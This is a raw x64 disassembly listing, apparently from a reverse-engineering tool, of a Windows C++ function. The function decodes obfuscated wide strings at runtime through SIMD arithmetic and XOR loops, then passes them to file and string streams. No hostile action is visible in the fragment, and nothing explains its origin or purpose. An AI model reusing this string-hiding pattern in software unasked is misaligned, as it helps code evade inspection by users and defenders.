movdqa xmm5, xmmword [0x140272830]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140272840]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x70]
pxor xmm3, xmm1
movq qword [rbp - 0x70], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 0x78]
lea r10, [r10 + rax*2]
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x67
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x21]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x1401c62d0
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1a0]
call fcn.14021b720
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 8
cmovae rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov rcx, rax
call fcn.140221f00
mov r11, rax
movups xmm0, xmmword [0x14026f5c0]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14026f5d0]
movsd qword [rsp + 0x78], xmm0
movzx eax, word [0x14026f5d8]
mov word [rbp - 0x80], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401c652e
movdqa xmm6, xmmword [0x1402728d0]
movd xmm7, r12d
movdqa xmm8, xmmword [0x140272910]
movd xmm9, esi
movd xmm11, r14d
movdqa xmm13, xmmword [str.BBBBBBBB]
movdqa xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140272840]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [0x14026f5c0]
pxor xmm3, xmm0
movq qword [rsp + 0x68], xmm3
movdqa xmm5, xmmword [0x140272830]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140272840]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x70]
pxor xmm3, xmm1
movq qword [rsp + 0x70], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x68]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x67
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x21]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x1401c6540
lea rdx, [rsp + 0x68]
mov rcx, r11
call fcn.14021b720
lea rcx, [rbp + 0x1a8]
call fcn.140219290
test rax, rax
jne 0x1401c65d4
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x50]
call fcn.140219830
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x1402727f0]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r15w
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.1402162f0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140219830
nop
lea rcx, [rbp + 0x88]
call fcn.140219830
nop
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0xb0], rax
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0xac], r8d
jmp 0x1401c6760
xor eax, eax
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.140217be0
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.1402162f0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140219830
nop
lea rcx, [rbp + 0x88]
call fcn.140219830
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.140217740
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x5300]
xor rcx, rsp
call fcn.140240c60
lea r11, [rsp + 0x54a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret